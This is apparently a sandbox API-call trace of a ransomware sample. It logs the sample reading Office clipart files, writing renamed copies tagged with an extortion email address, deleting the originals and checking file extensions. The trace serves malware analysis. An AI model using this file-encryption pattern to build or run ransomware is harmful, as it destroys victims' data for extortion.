	[0092.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.878] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.878] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.878] GetLastError () returned 0x0
	[0092.878] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xb6de, lpOverlapped=0x0) returned 1
	[0092.881] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb6e0, lpOverlapped=0x0) returned 1
	[0092.883] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.883] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.883] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.883] CloseHandle (hObject=0x2bc) returned 1
	[0092.883] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.883] SetEndOfFile (hFile=0x390) returned 1
	[0092.884] CloseHandle (hObject=0x390) returned 1
	[0092.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 1
	[0092.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.885] lstrlenW (lpString=".doc") returned 4
	[0092.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString=".docx") returned 5
	[0092.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.885] lstrlenW (lpString=".pdf") returned 4
	[0092.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString=".xls") returned 4
	[0092.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.885] lstrlenW (lpString=".xlsx") returned 5
	[0092.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.885] lstrlenW (lpString=".ppt") returned 4
	[0092.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.885] lstrlenW (lpString=".zip") returned 4
	[0092.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.885] lstrlenW (lpString=".rar") returned 4
	[0092.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString=".bz2") returned 4
	[0092.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString=".7z") returned 3
	[0092.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.885] lstrlenW (lpString=".dbf") returned 4
	[0092.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.885] lstrlenW (lpString=".1cd") returned 4
	[0092.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString=".jpg") returned 4
	[0092.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString=".doc") returned 4
	[0092.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString=".docx") returned 5
	[0092.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.886] lstrlenW (lpString=".pdf") returned 4
	[0092.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString=".xls") returned 4
	[0092.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.886] lstrlenW (lpString=".xlsx") returned 5
	[0092.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.886] lstrlenW (lpString=".ppt") returned 4
	[0092.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString=".zip") returned 4
	[0092.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.886] lstrlenW (lpString=".rar") returned 4
	[0092.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString=".bz2") returned 4
	[0092.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString=".7z") returned 3
	[0092.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString=".dbf") returned 4
	[0092.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.886] lstrlenW (lpString=".1cd") returned 4
	[0092.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF") returned 68
	[0092.887] lstrlenW (lpString=".jpg") returned 4
	[0092.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.887] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.887] lstrlenW (lpString="FD00459_.WMF") returned 12
	[0092.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.887] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=17406) returned 1
	[0092.887] CloseHandle (hObject=0x390) returned 1
	[0092.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220
	[0092.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.887] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.888] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.889] GetLastError () returned 0x0
	[0092.889] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x43fe, lpOverlapped=0x0) returned 1
	[0092.890] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4400, lpOverlapped=0x0) returned 1
	[0092.891] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.892] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.892] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.892] CloseHandle (hObject=0x2bc) returned 1
	[0092.892] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.892] SetEndOfFile (hFile=0x390) returned 1
	[0092.893] CloseHandle (hObject=0x390) returned 1
	[0092.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1
	[0092.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.893] lstrlenW (lpString=".doc") returned 4
	[0092.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.893] lstrlenW (lpString=".docx") returned 5
	[0092.893] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.893] lstrlenW (lpString=".pdf") returned 4
	[0092.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.893] lstrlenW (lpString=".xls") returned 4
	[0092.893] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.893] lstrlenW (lpString=".xlsx") returned 5
	[0092.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.894] lstrlenW (lpString=".ppt") returned 4
	[0092.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".zip") returned 4
	[0092.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.894] lstrlenW (lpString=".rar") returned 4
	[0092.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString=".bz2") returned 4
	[0092.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString=".7z") returned 3
	[0092.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".dbf") returned 4
	[0092.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".1cd") returned 4
	[0092.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".jpg") returned 4
	[0092.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".doc") returned 4
	[0092.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString=".docx") returned 5
	[0092.894] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.894] lstrlenW (lpString=".pdf") returned 4
	[0092.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString=".xls") returned 4
	[0092.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.894] lstrlenW (lpString=".xlsx") returned 5
	[0092.894] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.894] lstrlenW (lpString=".ppt") returned 4
	[0092.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.894] lstrlenW (lpString=".zip") returned 4
	[0092.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.895] lstrlenW (lpString=".rar") returned 4
	[0092.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.895] lstrlenW (lpString=".bz2") returned 4
	[0092.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.895] lstrlenW (lpString=".7z") returned 3
	[0092.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.895] lstrlenW (lpString=".dbf") returned 4
	[0092.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.895] lstrlenW (lpString=".1cd") returned 4
	[0092.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68
	[0092.895] lstrlenW (lpString=".jpg") returned 4
	[0092.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.895] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.895] lstrlenW (lpString="FD00543_.WMF") returned 12
	[0092.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.895] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1472) returned 1
	[0092.895] CloseHandle (hObject=0x390) returned 1
	[0092.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220
	[0092.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.896] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.896] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0092.896] GetLastError () returned 0x0
	[0092.896] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5c0, lpOverlapped=0x0) returned 1
	[0092.897] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5d0, lpOverlapped=0x0) returned 1
	[0092.898] ReadFile (in: hFile=0x390, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.898] WriteFile (in: hFile=0x2bc, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0092.899] SetEndOfFile (hFile=0x2bc) returned 1
	[0092.899] CloseHandle (hObject=0x2bc) returned 1
	[0092.899] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.899] SetEndOfFile (hFile=0x390) returned 1
	[0092.900] CloseHandle (hObject=0x390) returned 1
	[0092.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0092.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1
	[0092.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.900] lstrlenW (lpString=".doc") returned 4
	[0092.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.900] lstrlenW (lpString=".docx") returned 5
	[0092.900] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.900] lstrlenW (lpString=".pdf") returned 4
	[0092.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.900] lstrlenW (lpString=".xls") returned 4
	[0092.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.900] lstrlenW (lpString=".xlsx") returned 5
	[0092.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.900] lstrlenW (lpString=".ppt") returned 4
	[0092.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.900] lstrlenW (lpString=".zip") returned 4
	[0092.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.901] lstrlenW (lpString=".rar") returned 4
	[0092.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString=".bz2") returned 4
	[0092.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString=".7z") returned 3
	[0092.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString=".dbf") returned 4
	[0092.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString=".1cd") returned 4
	[0092.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString=".jpg") returned 4
	[0092.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString=".doc") returned 4
	[0092.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString=".docx") returned 5
	[0092.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.901] lstrlenW (lpString=".pdf") returned 4
	[0092.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString=".xls") returned 4
	[0092.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.901] lstrlenW (lpString=".xlsx") returned 5
	[0092.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.901] lstrlenW (lpString=".ppt") returned 4
	[0092.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.901] lstrlenW (lpString=".zip") returned 4
	[0092.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.901] lstrlenW (lpString=".rar") returned 4
	[0092.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.902] lstrlenW (lpString=".bz2") returned 4
	[0092.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.902] lstrlenW (lpString=".7z") returned 3
	[0092.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.902] lstrlenW (lpString=".dbf") returned 4
	[0092.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.902] lstrlenW (lpString=".1cd") returned 4
	[0092.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68
	[0092.902] lstrlenW (lpString=".jpg") returned 4
	[0092.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.902] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.902] lstrlenW (lpString="FD00544_.WMF") returned 12
	[0092.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0092.902] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5260) returned 1
	[0092.902] CloseHandle (hObject=0x390) returned 1
	[0092.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220
